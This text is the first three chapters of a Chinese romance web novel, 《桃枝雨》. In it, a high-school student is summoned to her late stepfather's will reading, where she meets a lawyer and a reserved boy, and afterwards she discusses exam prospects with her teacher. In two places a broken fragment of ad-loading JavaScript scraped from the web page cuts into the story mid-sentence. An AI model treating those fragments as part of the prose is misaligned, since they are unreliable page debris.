《桃枝雨》 1. 第 1 章 春到小桃枝 文/沈不期 第01章 慕城三月底,空气一直干燥没像往年那样经常落雨,窗玻璃却一直挂水,淤积着一层一层水雾,回南天恼人,跟叶曲桐断断续续的胃疼有一拼。 外婆坐在院子里的小板凳上,喊她时手里正握着鸡脖子,悬空在洗面盆的腾腾热气之上,让她赶紧起床:“快把簸箕上的鸡毛菜洗了,待会儿拔了鸡毛我赶着出摊去!” 叶曲桐不敢怠慢,她知道外婆是个急性子,更知道她养活她们孤儿寡母不容易。 “今天听说有暴雨,还去市七中那边出摊吗?”叶曲桐从床上爬起来,出房门朝对面院子里的水泥池子径直走过去,将水龙头打开,先放了一段水,才摊开掌心接了点水胡乱抹到脸上,刺得眼眶发胀,“在巷子口出摊也行的,下了自习许多学生经过。” 外婆拎着一直乱扑腾的公鸡,往热水面上左一划右一晃,再整只没入,手上动作连贯,眼神已经飘到了灶台上,好似听不见叶曲桐说话,只自顾自地叮嘱她:“等下我把这只土鸡炖上,你记得看时间,按我之前的做法,分三次加水,每次半碗,慢慢熬着,有人傍晚会来拿。” 叶曲桐算了算时间,马上要到清明节了,想起来什么,寻常语气问:“又是那个司机来拿?” “嗯,还能是谁要,我们这里家家都养土鸡,没人愿意花钱买。” “这人是什么来头啊?怎么连续六七年了都让司机来我们家拿汤。” 她嘴里嘟囔着,“还有司机……” 外婆对这个不甚在意,只说:“我哪知道有什么来头,也不好问,这几年回慕城扫墓的人多,回来了可不就得尝尝家乡菜,我们家这小馆子好歹也开了十来年了,来问问也正常。” “……也是。”叶曲桐抬起眼,往飘着白烟的远山看了眼,“不是不让明火烧纸钱吗?” “偷偷烧呗,这不还没到清明节,你管那么多呢,书都看完了?” 叶曲桐垂下头,把簸箕里面烂了的鸡毛菜挑出去,没了精神的应着,“晚上看。” “家里也没人教得了你,读书的事情你上点心,不要担心钱,也不要总想着待在我身边,孩子大了总是要到外面的世界看看,考个名牌大学我睡着都能笑醒。”外婆勾着腰站起来,握拳捶打了一下后腰,拿起满是脏血水的洗脸盆,酝酿着力道站直身体,寻常语气说着,“你爸人倒是很踏实,就是命不好,人走得早,你妈也就是想过得好点……” 不等叶曲桐反应,外婆自己打住话题,认命似的说给自己听:“算了,不提也罢,谁家家里还没点破烂事,日子总得好好过下去,也不差你一口饭吃。” * 傍晚下了一场雨,这边老城区的人平时多用电瓶车,巷子口不常听见汽车鸣笛。 没响两声,叶曲桐就赶紧停下手里的中性笔,小跑去厨房关火。 没直接掀开墨绿色仿大牌的煲汤锅,已经闻到了浓郁但是不油腻的鸡汤香味,她探着头从厨房的窗户看出去,没看清车内来人,只是觉得车前盖上立着的小金人像新奇。 叶曲桐小时候听她弱不禁风的母亲陈郁芸说过,如若有一天她发迹了,就选这辆车,要用纯金打造,从巷子头开到巷子尾,看谁还敢说她命不好。 当年叶曲桐的父亲还没在工地上出事故,笑说她这个爱显摆的臭毛病,就是到四十也改不了,巷子里压根调不了车头。 原本只是一句玩笑话,语气也不重,却像是戳着了陈郁芸的脊梁骨。 她用力砸了手里喝水的玻璃杯,冲吓得一颤的叶曲桐吼了句,“有钱人用这些叫排场,叫体面,我们穷人用这些就叫爱显摆、臭毛病,我的好女儿,你懂了吗?” 叶曲桐随便想起,母亲年轻艳丽的面容在脑中已经模糊,但是针刺一样的言语却记得清晰,放此刻看仍觉得恼人。 叶曲桐轻轻摇了下头,禁止自己再想,抓紧火钳往柴火灶里面掏了掏,好让大火转小火保温着鸡汤,静等司机来取。 安静了几分钟。 叶曲桐一直没听见鸣笛声或是敲门声,没做他想,索性戴上厚手套将砂锅端起来,小心翼翼地走到门后,刚好听见两下礼貌轻巧的敲门声,“您好。” 叶曲桐下意识啊了一声,慌乱着随即应下,“哦,哦,您好,有人在的。” 说这话时,她已经往后退了半步,砂锅鸡汤往身侧举了举,唯恐撞上正向里推的门。 人影从门缝里变得清晰,静看向她的眼神变得清隽,这不是她面熟的那个司机。 这原本是叶曲桐熟悉自由的院落,此刻却拘束地令她别开眼,有些生硬地问着:“……请问您找谁?这里……我是说,我家现在还没到出摊时间。” “叶小姐您好,多年前我们见过。”与叶曲桐有点茫然的反应不同,眼前的男人有着明晃晃的自在,“我姓聂,是您继父和母亲的律师,您称呼为我聂律师就好。” 他说得过于寻常,人浸润在背光面里,眉骨将阴暗面颊柔和分割,令双眼显得更为深邃,以致叶曲桐怔怔打量了他几秒,仿佛在听其他人的事情。 他忽然抬眼朝叶曲桐笑了下,叶曲桐才收回目光,轻声说了句:“哦,我母亲。” “嗯,您继父因为景润集团烂尾楼一事跳楼轻生,目前警方已经判定为自杀性质,后续有一些财产分割的事宜需要您参与。” “还需要我参与?”叶曲桐跟这位大人物继父实在不熟,短时间无法对此产生任何联想。 而且她不怎么有时间、也不怎么喜欢看电视,学校距离家不过步行十五分钟的距离,陈郁芸给她买的新款iPhone一般都放家里当座机用,所以她没听说过烂尾楼的新闻。 何况她父亲就是工地施工出的事。 “哦。”叶曲桐想说,跟我没关系,但只是这样抬眼看向他,没有继续询问的意思。 “您母亲目前联系不上。” 叶曲桐轻轻吸了一口气,“……她不在这里,我不清楚她的事情。” “陈女士每年清明节都会在这里订餐。”他的眼神落在叶曲桐青筋凸起的双臂上,“这是司机给我的最后的信息。” “哦,原来是她订的。”叶曲桐如实回答,“我也是才知道。” “那您母亲有什么其他联系方式吗?如果一直联系不到,可能要做报警处理。” “聂律师。”叶曲桐并非是不耐烦的语气,只是拧紧眉心,不理解他的提问,“您看我像跟我母亲很亲近的样子吗?” “抱歉,我只是公事公办。” 叶曲桐为自己不耐烦的语气懊恼,摇摇头:“没什么,我也抱歉。” 冷静几秒,她才又补了句,“不过您不用担心她会做傻事,她不会的。” 谁都会这么做,但是她陈郁芸绝不会的。 * 这趟来,还是因为陈郁芸亡夫的事情,他生前立了一份遗嘱,需要利益相关人到场。叶曲桐从来没设想过,她居然也会被列在其中。 一小时前,叶曲桐坐在车后排,有些局促地将双手握紧在一起,神色却看不出异样,她一双不动容也显得无辜的双眼,她什么也没想,却令人也有一些冷清的压迫感。 司机师傅先开口问:“喝水吗?” “不用,谢谢您。” 再开口的是身旁的聂先生,他刚从另一侧上车坐定,低沉着声音让司机将车窗关闭,连同她那一边的窗户,可能是注意力难以集中,令叶曲桐觉得他的声音有几分缥缈,“乌龙茶?” 叶曲桐迟疑了两秒才说:“真不用,我不怎么喝茶。” 事实证明,陈郁芸这人是绝不会做傻事的。 等了一会儿,聂先生便用对待公事的语气跟她同步。 陈郁芸在忙要紧的事,但是人已经联系上了。 叶曲桐“哦”了一声,对此并不觉得奇怪,甚至也不觉得陈郁芸有什么要紧的事情。毕竟她父亲在工地去世时,村主任、施工单位派人来慰问之前,陈郁芸还在交代她,务必哭得像是连妈也一起死了的样子,如果他们不肯多赔偿,就给她使眼色让叶曲桐量力一头撞在她爸的棺材板上。 这样的人能出什么事? 陈郁芸推开门进到客厅时,整个人像是回到了九零年代,长发烫成了大卷波浪,八字刘海挂在耳边,棕红色眼线拖至眼尾,用的甚至是粗线条,有种不用流汗都会随时晕开的劣质感,但更令人惊愕的是,她身后跟着一个个子很高、穿着黑色衬衣的少年。 他逆光而立,皮肤有种可以透光的薄暮感,睫毛清晰而薄长,轮廓并不锋利,眉骨到脸颊却有一道清隽的光影分割线,他藏在柔和的光绪里,眸光却显得尤为深邃。 如果说她此刻面无表情是一种平淡,那少年的神情里则是冷淡。 叶曲桐不怎么关注学校里面招人喜欢的帅哥,她也没什么异性朋友,大多数时间都是跟自己的前后桌待在一起,这是她第一次觉得,少年的帅气并不一定需要看清楚他的眉目,而是一种抽象的观感,或者说是,需要拼凑的美感。 打断叶曲桐走神的是陈郁芸突然的拥抱,还有她贴在叶曲桐耳边突如其来的感慨:“还愣着干什么!我的宝贝女儿!过来呀!妈妈都不知道怎么爱你才好。” 叶曲桐不适应这样的拥抱,也鲜少在生活里发生这样的行为。 她下意识地用力提了下锁骨,身体后倾,稍微退开一些距离,目光仍然忍不住落在陈郁芸身后,见他好像也在看自己,赶紧转头,快速说着:“有点勒。” “妈妈爱你。因为妈妈太爱你了,恨不得把你揉进心里。” 其他人对此反应平常,只有叶曲桐不太适应,她不是没见过陈郁芸这样,只是见过也不适应,这与她习惯的、喜欢的世界不一样,但是她也很清楚,这对陈郁芸来说很正常,因为陈郁芸这个人,不在意外在,皮囊或是表演,她只在意谁能为己所用。 陈郁芸拉着叶曲桐重新坐回到沙发上,先跟聂律师打了个招呼,她喊他“惊羽”,让叶曲桐听清楚了他的名字,接着冲少年招呼:“修榆,你也坐过来呀!” 叶曲桐下意识往旁边挪了一下,被陈郁芸拉住手指,“你躲什么,这可不是妈妈的小男朋友,不过他跟你一样,是妈妈的小宝贝,是妈妈最骄傲的孩子,也是你的亲人。” 这下,在场为数不多的几个人,神情明显有些变化。 什么意思? 这人跟她一样? 跟她一样与陈郁芸的亡夫没有一丝关联,此刻却可以合情合法得到他的馈赠。 叶曲桐微微抬眼,见那个男生还是那副没有波澜的神情。 “惊羽,你也坐!”陈郁芸本想伸手去端茶,发觉不是自己常用的杯子,也不是她喜欢的茶,情 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绪转瞬变化,对着阿姨扬声吩咐,“你怎么给小姐就拿杯水?她是我的亲生女儿,长得不像我吗?” “太太,实在是对不起,是我没问清楚小姐喜欢喝什么。” 陈郁芸阴沉的脸色倏然转晴,她捏了捏叶曲桐的脸,看也没看阿姨一眼,对着身边的男生笑说:“修榆,你看她长得像我吧?比我还漂亮,我真是太骄傲了,她一点儿都没遗传到她爸的眉眼,你看看,哪怕是穿着简单的校服,都漂亮的不行,我真怕有坏男人打她的主意。” 男生平淡地说:“嗯。” 声音也干净的不像话。 陈郁芸伸手也想捏一下他的脸,却被他直接躲开,微垂着目光,什么都没说。 陈郁芸只顾自说了句:“我们修榆,什么都好,就是太安静了。” 叶曲桐也想躲开,却还是被陈郁芸紧紧握住手,她没有勇气在这么多人面前拒绝,也反应不过来,耳边响起陈郁芸恍然大悟的语气:“忘记介绍了,惊羽,这孩子就是修榆,孟修榆,我跟你提过的,老谢战友的亲儿子,住绛水县那边。” 老谢就是叶曲桐的继父。 聂惊羽对此好像不感兴趣,只是保持礼貌,回答说:“谢先生生前有跟我介绍过。” “哦?”陈郁芸嗤笑一声,“那有说……到底是战友的儿子,还是他的野/种没?” 叶曲桐到底是见得世面少,难以自如的应付这些场合,她脸颊涌上尴尬的颜色,她从小就喜欢这样不合时宜的玩笑话,但也微微张口,轻轻的急喊了一声,“……妈。” “宝贝女儿,乖了,妈妈逗你们玩儿呢,老谢哪生得出修榆这样的天之骄子。” 叶曲桐迅速偷瞥了一眼身边坐着的孟修榆,他淡如雪上枯枝,不动声色的剥落迷路的灰雀,像是在蛰伏等待春日。 他什么也没说,仿佛与世界无关。 这让叶曲桐第一次感受到心上落鹅毛,慢慢下沉,用尽力气也捉不住这一丝柔软。 不等她细想,聂惊羽已经出门迎着几位景润地产的董事来到客厅,进书房,有序地进行着谢董生前的遗嘱宣布,及当前公司几个在施工、在研发项目的进度及投融资情况。 叶曲桐听不懂这些,她也不在意这些“天降好运”,甚至在听了几个小时以后,依然产生没有与自己有关的真实感。 中途,叶曲桐见孟修榆以上洗手间为由先离开书房。 她鬼使神差地跟了出去。 明明室内恒温,空气流转,她却感觉只能呼吸到沉闷的空气,无法松开无意识咬紧,已经想微微发酸的牙龈。她步伐很轻,眼前已经没有了孟修榆的身影。 她不想也不敢乱看,但还是忍不住走到楼梯侧边,目光穿过客厅、台阶,直接落到她进门前的小花园,燥热的风从四面吹进来,在落地玻璃前打个迂回,肌肤上多了一层凉爽的水汽。 才四月天,花园不该这么热烈。 尤其是在孟修榆冷若寒霜的背影前。 天光灰暗,他垂着头,像含苞霜打的芍药,没有月光停留在他的躯体之上,只有室内精致的吊灯衍射着几千颗玻璃水钻的冷光,落在他的锁骨,宽大的校服之下有着起伏的肩膀幅度。 孟修榆走出去两步,又顿了顿,目光投到她身后那棵因寓意多子多福而被陈郁芸保留下来的石榴树上,它就这样亮洁苍绿的伫立,没有任何装饰。 他个子很高,抬手便能握住叶片之间仅有的一刻果实。 青绿色的,长着毛刺,根本不像甘甜多籽的内里。 他微微仰起头,见月挪移,落在朝向他的那一面,侧脸有浅灰色的阴影铺垫,让人看清他的眼睫浓密而分明,他明明松弛随性地合上了眼,气质却如春雨的轻软里藏着落地针,他攥紧着掌心,手背青筋尽凸起,他停顿一秒,还能再蓄力,仿佛破碎都不足够,还将手中之物碾碎。 这种粗粝的痛感似乎能传导到叶曲桐指尖。 令她也跟着下意识握紧了拳头,心脏像有微凉的潮水漫过,一闪而退,再暗涌。 她不让自己也沉浸在这种心脏紧致的感觉里,却不得不承认,这让她也产生了快感。 也许是看得入神,以至于忘记孟修榆转过头时,撞个正着。 孟修榆的目光正落在她眉心,兴许是为了礼貌。 反倒让叶曲桐变得有些局促,她先闪烁着目光开口先问道:“你也出来透口气?” “嗯。”他淡淡回答,将手顺势垂下。 “哦,我也是,听不懂他们说的。”叶曲桐随手往身后一指,“他们,书房那些人。” 他没有接话,叶曲桐不确认他是不是轻轻“嗯”了一声。 叶曲桐尽量让自己平静,转过身,顺着楼梯往回走,每一步都像是踩在自己的心跳上,她其实想说点什么,比如,这是她第二次来这里,第一次是陈郁芸再婚的时候,再比如,她其实也不清楚他们怎么会都在这里,她也不喜欢陈郁芸不分场合、阴阳怪气的玩笑话。 她急于证明她跟陈郁芸不一样,脑海里孟修榆在月光下判若两人的模样却挥之不去,几十分钟前,他好像接纳了这个世界上一切奇怪诡异随时骤变的事情。 却又暗涌蛰伏好似随时能够喷薄而出。 叶曲桐微微摇头,不让自己再陷入这样旖旎混沌的感受之中。 她只想回到外婆身边,写完今晚的试卷。 2. 第 2 章 第02章 事情赶在周末,不耽误上课,叶曲桐被强留在陈郁芸家住了一晚。 原本陈郁芸执意要跟她待在一个房间,好好重温下母女情谊。 叶曲桐拗不过她,也赶不走。 但没到半小时她就接起了电话,黏黏糊糊的语气聊了几句,笑声张扬,便无声地冲叶曲桐摆摆手,捂着话筒小声说了句:“有事你直接找林阿姨,家里的事情没有她不知道的。” 叶曲桐看了下时间,九点不到,知道外婆这会儿才从七中收摊回家,赶紧打了一通电话过去,外婆欣喜地说着,“七中从下周一就开始要上晚自习了,虽然说是高三学生自愿留下,但是估计大部分学生都会留下,都想考个大学,你说是不是?到时候晚上出摊生意肯定好着呢!” “嗯,教学条件有限,补课严查,老师也让我们自己多努力。” 外婆叹了口气,认命似的说着,“一个人一个命,生在哪里我们也改变不了,咱们至少不愁吃喝,还能供你读书。” “嗯。” 外婆问:“你妈呢?这么久没见,你们娘儿俩没好好聊聊?” “聊了几句。”叶曲桐习惯出门背上书包,里面都是复习资料,跟往常一样,她靠在床边一只脚落在地上,认真翻着错题集,“没说几句,谢叔叔留了一笔钱给我们,说是供我读书用。” “你平时没吃他的喝他的,也没搬去跟他们住,他给你留一笔钱也算是宽厚。” “也不能这么说,阿婆,我们日子过得去,这笔钱我就先不领了。” 外婆着急说:“别胡说!你这孩子跟谁过不去,也不能跟你自个儿和钱过不去。这有什么不能拿的,给你的就是你的,你妈妈平时给的你也不要,我都替你存着的。” 叶曲桐很体谅外婆的辛苦,也知道她这一辈子都在为这个家操劳。 所以叶曲桐也几乎从不与她争辩,只平和的持保留意见,“再说吧,现在也没急用。” “等急用就晚了。” 叶曲桐没有附和,生硬的转了句话题,“阿婆,我明天就回去了!” “也不急。” 叶曲桐笑着说:“您不念着我啊?” “念啊,念你一辈子,以后你结了婚有孩子,我八十岁都能给你带孩子。但是……”阿婆坐在院子里,身上穿着叶曲桐的旧运动服,松开锁紧在脖子口的拉链。 想了想,才无奈地说着,“但是跟着阿婆怕耽误你前程,阿婆知道你读书用功,从小成绩就好,不用人操心,可是你妈妈现在能帮得上你,你就不要跟她置气,大人之间的事情不好说对错。” “阿婆,没什么耽误不耽误的,您在说我就真往心里去了。” “好,好,不说了,我收拾下摊位,等会儿洗洗就睡了,你也早点睡,别太晚了。”阿婆叹了口气,犹豫了一瞬,还是脱口而出,“你真该好好考虑下,她一直有心要照顾你的。” 叶曲桐咬了下嘴角,翻一页错题本。 这不是她第一次听阿婆劝说了。 她理解阿婆的意思,也体谅陈郁芸想过好日子的追求,但是记忆里她总是咒骂父亲怎么这么没出息,怎么还不去死,拖累了她们母女,又拿着她父亲的抚恤金,在隔月便没名没分带着她住进了谢先生的家里。 其实她没有受到过真正的苛待。 但短短四十天,叶曲桐的自尊心和她对父亲的怜悯,与陈郁芸的谄媚和没羞没燥赤诚相对,他们水火不容,像秋雨落入棉花芯,枝杆再笔挺,也沉甸甸地只能垂下头。 * 林阿姨来轻声敲门时,叶曲桐还没睡,整站在窗边迎着夜风看物理题,她神色一怔,搓了下捏紧试卷的指腹。 “来了,稍等。” 叶曲桐打开门,林阿姨直接开口说明来意:“小姐,还在看书呢?” “嗯,在复习。” “也不要太辛苦了。”林阿姨冲她和煦的笑着,“我上来是想问问您睡前喝牛奶吗?” “阿姨,您客气了,我就不喝了。” “喝一杯好入睡,高三嘛,复习备考费脑子,对喝点牛奶、吃点核桃也好。” 叶曲桐有些惊讶,自问没提过自己的信息,但转念想到陈郁芸说的——这个家里没有林阿姨不知道的事情,就又理解了一点。 叶曲桐有礼貌的拒绝说:“谢谢林阿姨,不用客气了,我没有这个习惯。” “哦哦,我理解,有些人是不太习惯喝牛奶,接受不了这个味儿,就跟我喝不惯咖啡一样,怪苦的。”林阿姨笑说,“豆奶、果汁、酸奶家里也都有,您想喝什么就告诉我。” 叶曲桐苦笑了一下,“行,不过真不用。” “那您有事喊我。” “……好。”叶曲桐迟疑了一霎,斟酌着措辞问道,“林阿姨,今天那个男生……” 叶曲桐没有念出他的名字。 林阿姨寻常语气接了句:“你说修榆?” “啊,对,修榆。” 林阿姨主动说:“你不记得名字正常的,他也是第二次来,上一次还是奶娃娃的时候,根本不记事的,他爸爸跟谢先生是战友,不常见面,毕竟家庭、地位差太多了,但是关系亲着呢,每一年除夕都不忘互相拜年问好。” 叶曲桐拖着尾音,“那他爸妈……” 林阿姨往楼下看了一眼,凑近一步小声对她眼角方向说着:“爸爸是病逝的,妹妹和妈妈就不清楚了,但这些年一直是谢先生和太太资助他读书、生活,估计……走了吧。” “啊……”叶曲桐忍不住轻叹。 “您可装不知道听听就得了,具体的我也不清楚,偶尔听太太说的几句。”林阿姨越说越疑惑,“也是奇怪了,抛弃这么优秀的一个儿子,带着年幼的女儿走了。” 叶曲桐过分认真的聆听,实际上目光已经飘远,她感觉心脏好像是寄居在窗外摇曳的叶片上,不是她的,不听她的,静不下来。 她却又分不清这是同病相怜的惋惜,还是暗自窥探别人秘密的慌张。 * 叶曲桐只住了一晚,也只能住这一晚,周一她要如常回学校上课。 临近高考,三轮复习已经收尾,叶曲桐所在的潜县七中曾经是有着百年历史的重点中学,但近十年已经没落到连省内人都没听过。 师资一年不如一年,生源又受地域限制,县里但凡家里有点资金支持的,几乎都将孩子送去了市里读书,恶性循环。 别说这几年全校第一名都无望争夺清北的名额,大多数普通学生想考上本科都有不小的难度。 叶曲桐的班主任阎屏曾在多年前带出过全省理科状元,治学严谨,反复跟学生强调高考不是选拔性考试,不具备拼天赋和能力的环境,请大家务必悬梁刺股。 只有足够勤奋,只有超越自己的老师,才有可能考上一所世俗意义下叫得上名字的好大学。 才能离开小县城。 当初七中前几名的学生在一位年轻老师的带领下参加过一次全国中学生奥林匹克学科竞赛,最好成绩的同学排在第二名,顺利拿到了北京大学的降分录取。 叶曲桐和后桌陈芥分列第五和第七,均不符合保送或者降分录取的规定。 只有叶曲桐获得了同济大学的自主招生机会,相当于在高考前额外获得一次笔面试的机会。 但是阎屏老师那句“只有足够努力,只有超越自己的老师,才能考出去”或多或少刺痛了叶曲桐的自信心,所以她全情投入到高考复习之中,不再对这些极少数人才能走通的途径抱有幻想。 那是不属于她的道路。 叶曲桐离开之前仍要跟陈郁芸道别,做好了她会纠缠的准备,却被林阿姨好心拦下:“小姐,太太一般都睡到下午,被吵醒会发脾气的,特别大脾气那种。” “是哦。”叶曲桐不用仔细回忆,也能想起陈郁芸有严重起床气的臭毛病,如同她动怒时喜欢砸东西一样。 “那拜托您下午跟她说一声了。” 林阿姨犹豫说:“那太太知道吗?” 叶曲桐冲林阿姨点点头,乖顺地跟她道谢,“也谢谢您这两天的照顾。” “哪里的话!您是太太的女儿,我照顾您也是应该的,我现在……”林阿姨着急忙慌地往院子里看,“我现在就去安排车。” “不用。”叶曲桐认真说,“我回家做长途大巴可以直达,没多久。” “我之前查了,都快二百公里了!” “这您也查了。”难怪陈郁芸说,这个家里没有林阿姨不知道的事情。 叶曲桐随意笑了下,知道林阿姨是好意,总想做得更周全,便问道:“阿姨,请问家里有晕车药吗?” “小姐也晕车啊,那你跟太太一样,这么多年了也没见好呢。” 叶曲桐半开玩笑的语气说着:“我坐公交车不晕,可能坐不了好车。” 但传到林阿姨耳中,却有一种婉拒的意味,她忙说“她去看看有没有晕车药”,没再强说这个话题。 安静的一瞬,叶曲桐听到身后模糊的交谈,她转头,两人并排而立,却先看见换了一身黑色T恤的孟修榆。 又一次逆着光看见他的侧脸轮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 廓,额前的碎发很短,神情平静如潭。 聂惊羽本想抬手轻拍他的肩膀,扫过他的面庞时,适宜地放下,笑说:“你仔细考虑一下,国外教育承接方向很不一样。” 孟修榆微微张口时,聂惊羽的声音盖过了他的,重新接上了叶曲桐刚刚的话题,“是要回去了吗?” 叶曲桐怔怔的,因为当她察觉孟修榆此刻正望向她时,她就已经藏不住她紧盯着他嘴唇的那几秒。 “对,对的……正要回去。” “开车送你们。” “真不用,林阿姨也不用。”说完话叶曲桐才察觉聂惊羽说的是“你们”,赶紧补了句,“我不用。” 聂惊羽说话有一种高位者的从容,让人觉得任何事情都只是在公事公办,“叶小姐,我不知情的话,或许可以,现在知道知道你要一个人回去,我会不安心。” “……好吧。”叶曲桐不知道眼光该看向哪里,索性双手抓在背包带子上,用力往上提了提,小心吸了两口气,才轻声问了句,“你呢?” 他的声音有些倦怠,像是之前聊了许久,“不顺路。” “哦……” 叶曲桐蚊子哼一样的声音也被聂惊羽挡住,“可以顺路。” 静了几秒,见孟修榆还是那副波澜不惊的态度,叶曲桐忽然松了口气,像是茶水入口之前吹开的淡淡的涟漪。 叶曲桐如同来时那样,主动坐在后排,她不知道如何将缩进去的门把手调出来,也不敢乱按。 车内有野生鸢尾的气味,能让人联想到聂惊羽一丝不苟的精英腔调。 但不是叶曲桐喜欢的味道,她在家里待久了,闻到的味道很鲜活,栀子花有露水的浸润气味,灶台下腐草木灰其实散发的是烧焦橘子皮的香气。 还有用得太久、用得太勤的碗筷,闻不到什么,但是每次洗完手指上的肥皂水味都比洗其他东西要强烈。 叶曲桐靠思觉联调来舒缓自己即将在这辆封闭的车里坐几小时的恐惧,千万不要因为晕车呕吐,干呕最好也不要。 千万不要。 她在心里默默祈祷。 隔着车玻璃,叶曲桐遥遥看过去——林阿姨拍了拍孟修榆的肩膀,又冲他抬了下手,或许在告别。 但是叶曲桐想象不出来他这样的人,能有什么闲话可说。 叶曲桐禁止自己展开想象,一路铆劲跟自己的身体对抗。 路途上聂惊羽不知有意还是开玩笑,忽然说,他还从没给人当过“司机”。 像是暗指他们两个都坐在后排。 还这样沉默。 叶曲桐说:“麻烦了。” 孟修榆说:“抱歉。” 两个人几乎同时出声,又同一瞬看向彼此,叶曲桐下意识淡淡笑了下。 聂惊羽没多说,又问了一些关于学业的问题,只有叶曲桐像装置了自动开关一样,问什么就答什么。 说不上多冒犯,但也没有多么乐意,像极了新年才见一面、见面就要问考多少分、下次继续努力的亲戚。 叶曲桐应付得有些吃力,几次平缓的等停时刻,她的胃里都翻涌起了干脆利落的恶心感,手掌握紧纸团抵在膝盖上,暗暗用力,想转移自己的注意力。 孟修榆几乎没有出过声,连呼吸声都很轻,叶曲桐只敢趁弯腰去捡因为急刹而掉落的纸团时,扭过头看向他一眼。 孟修榆正不动声色垂着眼睛注视着她,不似她这样躲闪,睫毛干净的分明密长,直直地笼在一起,他几乎只有很浅的笑意,也总是攥紧掌心。 总像是在想着些什么。 这样暗处俯视两秒,她便有一种幼时沿河追日落,斑驳日影照满身的心潮在涌动。 叶曲桐回过神,矫健地捡起纸团坐直身体,思绪还在荡起涟漪,胳膊上却忽然有了一丝冰凉细腻的触感。 孟修榆拿手背似有若无地碰了她一下,不待她投去疑惑的眼神,他已经在椅背后司机的视线盲区摊开掌心。 那是叶曲桐见过的,他想要碾碎石榴的掌心,纹路异常清晰,比皮肤还要白皙,掺杂着刚刚触碰的凉意,令她忍不住幻想他的手指握上去是什么样的感受。 这种隐秘而又微小的想法让叶曲桐伸出手,但只是拿起他掌心的膏药。 她反应许久,才平复心情,意识到这是一张及时有效的晕车贴。 叶曲桐犹豫着张口,趁有人鸣笛,飞速轻声说了句:“……谢谢。” 孟修榆依旧闭着眼靠在窗边。 叶曲桐才敢转头光明正大看他一眼。 不知道他听见没。 3. 第 3 章 周一回学校上课,轮到叶曲桐所在的小组值日,她提前了半小时到校,已经抵达的只有陈芥。 因为他是隔壁班主任的孩子,就住在学校后面的教师公寓,轮不到值日也会早起在操场边背书或是晨跑。 班上的座位阎屏老师一直按学年大考成绩排,陈芥跟叶曲桐每次排名都挨着,指不定谁在前面。 上次高二期末考试其实是陈芥分数高,担心挡住叶曲桐视线,便主动将前排座位让给了她,阎屏对两位学霸小范围的调整也就睁只眼闭只眼放了一马。 “二模考得怎么样?”陈芥把书包放在花坛边,拿着扫把径直走到叶曲桐面前。 “正常吧。” “听我爸说,我们学校考得不是很理想,最好名次也没排进全市前五。” 叶曲桐“嗯”了一声,继续扫着落叶,“这样……” “其实你该好好准备自主招生考试的,有点可惜,这次华约的试题不是很难。” 叶曲桐反应了几秒,才想起来上周阎屏在周一国旗下的演讲结束后公布过这个好消息。 陈芥跟她一起参加的中学生奥林匹克物理竞赛,虽然名次不如她,但是也因此获得了通过自主招生初选的敲门砖。 不同的是,叶曲桐没有精力,也没有条件走学科竞赛和选拔性考试的路子。 而陈芥则在他父亲的辅导下,拿到了上海交通大学降六十分录取的好成绩。 按陈芥的努力和稳定性,这样的降分政策几乎可以等同于保送。 叶曲桐心情平和,只是花了几分钟想起这件事,真诚笑说:“这种考试哪有容易的,恭喜你啊。” 听她这样说,陈芥忽然觉得自己说得不够妥当,不好意思的冲她笑了一下,“对不起啊……我不是显摆,我只是觉得自主招生制度筛选难度很高,能参与的对手本身就很少,你本来就有机会,何况跟高考不冲突,降分录取的力度又很大。” “没事,我也没多想,我理解的。” “你知道我的意思就行。” 上午没有阎屏老师的英语课,但她撑不到下午再公布二模考试的信息,还没下最后一节课她人已经等在了教室门口。 前一秒还在跟刚下课的语文老师笑着打了个招呼,下一步踏进教室整个人的脸色已经阴沉严肃的不行。 令所有叽叽喳喳吵着饿死了要去食堂抢饭的学生一瞬间安静下来。 “坚持到现在这个时间点了,我也不愿意多说大家什么,知道每位同学都在抓紧一切时间复习,但是!我必须还是要郑重严肃的告诉大家,目前结果来看,还是有非常大进步空间。” 阎屏把几张薄薄的打印表放在讲桌上,吸引了学生们的目光,但下一刻便被她轻拍桌子吓回神,“我分析了所有同学的错题,做了统计,大量的失分点还是基础题型,还是易错题型,孩子们,马上要高考了!我一直强调,拼的从来不是最后一题!一定要把能拿的分数全部拿到!” 教室里寂静无声,多位学生已经垂下头,气氛愈发沉重。 但阎屏老师也点到为止,没有继续数落加压,甚至没有提具体的分数信息,只是重新拿起讲桌上的打印纸,扬在手里,“下午我再来评讲试卷,中午大家都去正常吃饭和午休,把精力养好,不要来问成绩,这已经成为过去了。” 说完便离开了教室。 但还是在下午上课之前十五分钟,将叶曲桐喊去了办公室。 阎屏老师虽然言语和治学压力,但私下里确实温和微胖的老太太形象,她已经将洗净的两个苹果对半切开,放在纸巾上,让叶曲桐拿着吃。 她将叶曲桐二模的成绩从太实际上调出来,每一门都给她仔细分析了几句,毫不吝啬的夸赞说:“不止成绩拔尖,还非常稳定,这让老师觉得很了不起。” 相比批评带来的愧疚,这种突如其来的夸赞让叶曲桐很不适应,尤为局促,她忙说:“没有,还得努力。” “嗯,你能这样想我很高兴,因为确实情况也不客观,我这里有一份全是统考的分数段排名表,你虽然这次是我们学校的第一名,但是全市排在第八,跟第九名并列,按这个成绩……” 阎屏老师斟酌着语气,尽量轻松一点接着说了下去:“按这个成绩,985大学肯定是没问题的,但是要想考上人大、上海交大、浙大这一类,就需要你再加把劲,尤其是英语,要知道成绩好的学生,一般都会在英语上面拉分。” 叶曲桐小心地咬了一口苹果,尽力不发出太大的咀嚼声,“知道。” “你的单词量不可能小,我跟你英语老师聊了,很多时候是理解差异的问题,也算是因为还没有完全找到做题技巧,包括语感上的差别,都会影响做题。” 叶曲桐虚心的点点头,“我会每天多花一点时间专项做一些英语训练。” 阎屏老师满意地拍了拍她的肩膀:“也不要太有压力,我建议呢,还是多开口,勇敢大声地念出来,如果有条件,可以找同学练一练,也可以找外教试试。” 叶曲桐迟疑了几秒,“……外教。” “嗯,先开口,不能纯应试。” 叶曲桐盯着分段成绩表心脏猛地跳了一下,她是目标院校是中国人民大学,她不是完全够不着,甚至就差一点点,这比任何时刻都要备受鼓舞。 * 当天晚上,叶曲桐按计划复习完所有的项目,在便利贴上一一勾选。 心里始终装着一件事,本想跟外婆商量,但她还在七中那边出摊卖小馄饨,偶阵雨飘摇,在打了无数遍腹稿以后还是拨通了陈郁芸的电话。 